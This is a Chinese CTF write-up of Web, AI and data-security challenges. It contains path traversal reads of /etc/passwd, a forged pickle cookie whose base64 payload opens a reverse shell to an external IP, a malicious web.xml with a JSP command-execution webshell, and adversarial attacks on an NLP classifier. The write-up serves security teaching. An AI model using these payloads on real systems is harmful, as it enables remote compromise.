2024年“羊城杯”粤港澳大湾区网络安全大赛 初赛 Web&数据安全&AI 题解WriteUp
字数 988 2025-08-24 07:48:23
2024年"羊城杯"粤港澳大湾区网络安全大赛题解与教学文档
Web安全题目解析
题目1:路径穿越与Pickle反序列化
漏洞点分析:
- 路径穿越漏洞:
/lyrics路由未对输入参数进行过滤,允许../目录遍历 - Pickle反序列化:cookie处理中存在不安全的pickle反序列化操作
利用步骤:
-
信息收集:
- 读取
/etc/passwd确认漏洞存在 - 获取源码:
/lyrics?lyrics=../app.py - 获取密钥文件:
/lyrics?lyrics=../config/secret_key.py - 获取cookie处理模块:
/lyrics?lyrics=../cookie.py
- 读取
-
构造恶意Pickle载荷:
import base64
import hashlib
import hmac
import pickle
def tob(s, enc='utf8'):
return s.encode(enc) if isinstance(s, str) else bytes(s)
def cookie_encode(data, key):
msg = data
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg
key = "EnjoyThePlayTime123456"
poc = b'KFMnYmFzaCAtYyAnc2ggLWkgPiYgL2Rldi90Y3AvMTI0LjcxLjE0Ny45OS8xNzE3IDA+JjEnJwppb3MKc3lzdGVtCi4='
print(cookie_encode(poc, key))
- 发送恶意cookie实现RCE
防御措施:
- 禁用pickle反序列化或使用安全的序列化方式
- 对用户输入进行严格过滤
- 使用HMAC签名验证数据完整性
题目2:Tomcat安全问题
漏洞点分析:
- 信息泄露:通过
/read路由读取敏感配置文件 - XML文件上传漏洞:可覆盖web.xml实现恶意配置
利用步骤:
-
信息收集:
- 读取tomcat-users.xml获取管理员凭据
- 确认web.xml路径
-
上传恶意web.xml:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>myshell</servlet-name>
<jsp-file>/WEB-INF/tmp/myshell.xml</jsp-file>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>myshell</servlet-name>
<url-pattern>/myshell</url-pattern>
</servlet-mapping>
</web-app>
- 上传JSP木马:
<% Process process = Runtime.getRuntime().exec(request.getParameter("cmd")); %>
- 访问恶意路由执行命令
防御措施:
- 限制上传文件类型和内容
- 使用最小权限原则配置Tomcat
- 定期更新Tomcat版本
AI安全题目解析
NLP模型攻击
攻击要求:
- 对文本添加微小扰动,使模型分类错误
- 修改后文本与原文本相似度≥75%
- 攻击成功率≥90%
技术实现:
- 使用OpenAttack库的PWWS攻击方法
- 自定义Victim模型封装目标模型
关键代码:
class MyTransformerClassifier(oa.Classifier):
def __init__(self, model_path):
self.tokenizer = AutoTokenizer.from_pretrained(model_path)
self.model = AutoModelForSequenceClassification.from_pretrained(model_path)
def get_pred(self, input_):
inputs = self.tokenizer(input_, return_tensors="pt", padding=True, truncation=True)
with torch.no_grad():
logits = self.model(**inputs).logits
return logits.argmax(dim=-1).cpu().numpy()
def get_prob(self, input_):
inputs = self.tokenizer(input_, return_tensors="pt", padding=True, truncation=True)
with torch.no_grad():
logits = self.model(**inputs).logits
probs = torch.softmax(logits, dim=-1)
return probs.cpu().numpy()
攻击流程:
- 加载目标模型和数据集
- 初始化PWWS攻击器
- 执行攻击评估
- 保存对抗样本
数据分析题目解析
数据分类与清洗
关键函数:
def classify_data(data, k):
if not isinstance(data, str): return None
if data.isdigit() and 1 <= int(data) <= 10000: return 0
if data in ['男', '女']: return 4
if any(0x4e00 <= ord(char) <= 0x9fff for char in data): return 3
if len(data) == 32: return 2
if data.isdigit() and len(data) == 8: return 5
if data[6:14] in k: return 6
if data.startswith(('130','131','132')): return 7
return 1
数据处理流程:
- 读取原始数据
- 对每列数据进行分类
- 根据分类结果重组数据
- 输出清洗后的CSV文件
流量分析与数据脱敏
关键验证函数:
def verify_identity(id_string):
if len(id_string) != 18: return False
if not id_string[:-1].isdigit(): return False
if not (id_string[-1].isdigit() or id_string[-1].upper() == 'X'): return False
weights = [7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2]
check_codes = ['1','0','X','9','8','7','6','5','4','3','2']
sum_ = sum(int(id_string[i]) * weights[i] for i in range(17))
mod = sum_ % 11
return id_string[-1].upper() == check_codes[mod]
脱敏方法:
def desensitize_name(name):
if len(name) == 2: return name[0] + '*'
else: return name[0] + '*'*(len(name)-2) + name[-1]
def desensitize_idcard(idcard):
return '*'*6 + idcard[6:10] + '*'*8
def desensitize_phone(phone):
return phone[:3] + '****' + phone[-4:]
总结
本教学文档涵盖了以下关键安全技术:
- Web安全中的路径穿越和反序列化漏洞
- Tomcat配置不当导致的安全问题
- NLP模型的对抗攻击方法
- 数据分类、清洗和脱敏技术
每种技术都提供了详细的利用方法和防御措施,可作为网络安全学习和实践的参考。